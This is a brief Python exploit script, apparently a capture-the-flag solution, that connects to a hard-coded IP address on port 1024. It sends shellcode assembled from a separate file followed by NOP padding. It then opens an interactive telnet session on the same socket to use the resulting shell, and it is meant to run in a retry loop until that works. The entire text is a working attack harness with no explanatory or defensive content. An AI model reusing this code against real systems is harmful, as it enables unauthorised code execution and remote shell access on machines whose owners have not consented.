#!/usr/bin/python # gcc -c test.S && objcopy -O binary test.o && while true; do ./test.py; done # It takes quite a lot of tries. import struct import socket import telnetlib s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('136.243.194.42', 1024)) f = s.makefile('rw', bufsize=0) shellcode = open('test.o').read() f.write(shellcode + '\x90' * 8) t = telnetlib.Telnet() t.sock = s t.interact()